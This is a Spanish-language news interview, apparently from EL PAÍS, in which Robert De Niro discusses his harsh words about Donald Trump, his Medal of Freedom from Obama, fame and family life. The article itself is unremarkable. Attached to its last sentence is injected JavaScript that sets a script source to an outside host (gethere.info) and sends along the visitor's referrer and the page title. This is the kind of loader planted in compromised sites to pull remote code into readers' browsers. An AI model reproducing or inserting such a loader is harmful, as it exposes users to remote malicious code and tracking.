‘No me arrepiento de nada’, asegura en una conversación con EL PAÍS sobre sus críticas al presidente electo de los Estados Unidos
LOS ÁNGELES.- Los 73 años le sientan bien a Robert De Niro. Al menos en apariencia, el siempre considerado uno de los mejores actores de Hollywood y también uno de los más gruñones se muestra más afable, locuaz y relajado que nunca. El reconocimiento que acaba de recibir de manos del todavía presidente de Estados Unidos Barack Obama, la medalla a la libertad, parece que le ha mejorado el mal humor. También está más contento por su próximo estreno, The Comedian, así como por la llegada de las fiestas de Navidad que parece alegran los ojos de esta estrella de la pantalla que ya tiene cuatro nietos, peina canas y no esconde las curvas que llegan con la edad a su vida.
Su talento es innegable como también su firme oposición a Donald Trump, a quien dedicó unas duras palabras hace algún tiempo y dijo que le gustaría “golpear” en la cara. Robert De Niro (1943, Nueva York) lo llamó “estúpido”, “gamberro”, “perro”, “timo”.
Ese ataque contra el ahora presidente electo estadounidense se pudo oír en el vídeo de una incitativa que buscaba incentivar el voto ante las elecciones. Y se hizo viral. “No me arrepiento para nada”, dice el actor. “Reaccioné a su forma de hablar, a las muchas cosas que dijo que no debería de haber dicho. Sentí la necesidad de decir lo que dije y son muchos los que me han felicitado”, añade. Sus palabras exactas fueron: “Es tan obviamente estúpido, es un gamberro, un perro, es un cerdo, es una estafa, un idiota que no sabe de lo que habla, no hace sus deberes, no le importa; cree que está jugando con la sociedad; es un idiota, Colin Powell dijo que como mucho es un desastre nacional, es una vergüenza para este país, me cabrea tanto que este país haya llegado a este punto en el que este idiota, este esperpento haya acabado donde está” mencionó el actor.
Un mes después, De Niro ha suavizado su discurso aunque sin bajar la guardia. Durante la conversación —mantenida la semana pasada con EL PAÍS— se encoge muchas veces de hombros con un “ya veremos” con el que tiende la mano al líder del nuevo orden mundial para darle una oportunidad. “Es una pesadilla surrealista. Pero aunque nos damos cuenta de quién es, espero que haga buenas elecciones y nos sorprenda. Por eso le doy el beneficio de la duda”, añade sin ser lo suficientemente buen actor —y eso que lleva cincuenta años de carrera— como para creerse lo que dice.
Mentir se le da fatal. No pudo disimular su desconcierto cuando Ellen DeGeneres le invitó a hacer el Mannequin Challenge en la Casa Blanca. “No lo entendí mucho y me quedé quieto sin saber si lo hacía bien”, explica de ese otro vídeo viral improvisado que acumula más de dos millones de reproducciones. Y la emoción la cubre con estoicismo. De hecho, mientras Obama loaba sus logros, que incluyen, entre otros, dos Oscar —uno por El Padrino II (1974) y Toro Salvaje (1980)— y cinco candidaturas al mismo premio, De Niro se quedó de piedra ante el mayor honor que un hombre de a pie puede recibir en Estados Unidos. “Solo podía pensar cómo he llegado aquí. Me sentí orgulloso por la compañía y porque Obama se acordara de mí antes de irse. Porque no creo que vuelva por allá”, suelta con ironía.
A él las cosas le van bien y sigue en activo porque, dice, a estas edades “no hay más que hacer”. Incluso ha hecho las paces con la fama, un actor de habitual arisco con la prensa y sus fans. Es incapaz de articular la presión que viene unida al hecho de ser Robert De Niro, la leyenda. “Lo llevo lo mejor posible, pero no soy perfecto”, acepta. “Nunca me he quejado de la fama. He tenido suerte. Desde luego no estoy en el lugar de esos muchos que han votado por Trump. Claro que también los conozco a mi alrededor que le han votado y eso sí que no lo entiendo”, vuelve a su descontento con el resultado electoral.
La estrella de los años setenta nunca ha ocultado su apoyo a los demócratas. Por eso apoyó sin condiciones las campañas electorales de Hilary Clinton y Obama.
“No te voy a decir que somos amigotes que nos partimos de risa hablando pero nos hemos visto de cuando en cuando en la Casa Blanca o en Nueva York”, desvela.
A la ceremonia en la que fue condecorado por Obama también asistieron varios de sus hijos (tiene seis). Incluso para alguien alabado por sus transformaciones artísticas, siempre inmerso en su papel y siguiendo los pasos de sus maestros —se declara admirador de los fallecidos Marlon Brando, James Dean, Montgomery Clift y de los actuales Leonardo DiCaprio, Daniel Day-Lewis y Sean Penn—, confiesa que sus hijos son una de las “mejores creaciones” de su carrera. Con ellos pasará las fiestas, un momento que califica como “alienígena”. Se declara aconfesional pero proclama que disfruta con el caos de abrir regalos. También junto a ellos le gusta revivir su vida. “Es mi juego. Analizar cronológicamente lo que ocurre basado en la edad de mis hijos y pensar qué es lo que pasaba o no pasaba entonces”, revela.
El actor está casado con Grace Hightower, una antigua azafata 10 años más joven. Con su segunda esposa tuvo un hijo, Elliot, en 1998. La pareja solicitó el divorcio pero nunca lo firmó; de hecho, en 2004 renovaron sus votos. Un año antes a De Niro le detectaron un cáncer de próstata.
Antes de despedirse muestra de nuevo su preocupación ante el nuevo orden que va a imponer Trump, alguien que, en su opinión, aprendió mucho de lo que sabe en un reality show. “Espero que todos aprendamos de lo que está sucediendo para que no vuelva a ocurrir”, dice antes de añadir con una de sus muecas llenas de ironía eso de que “habrá que tomárselo con humor, especialmente cuando las cosas se ven tan negras, porque ¿qué otra cosa podemos hacer?”.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;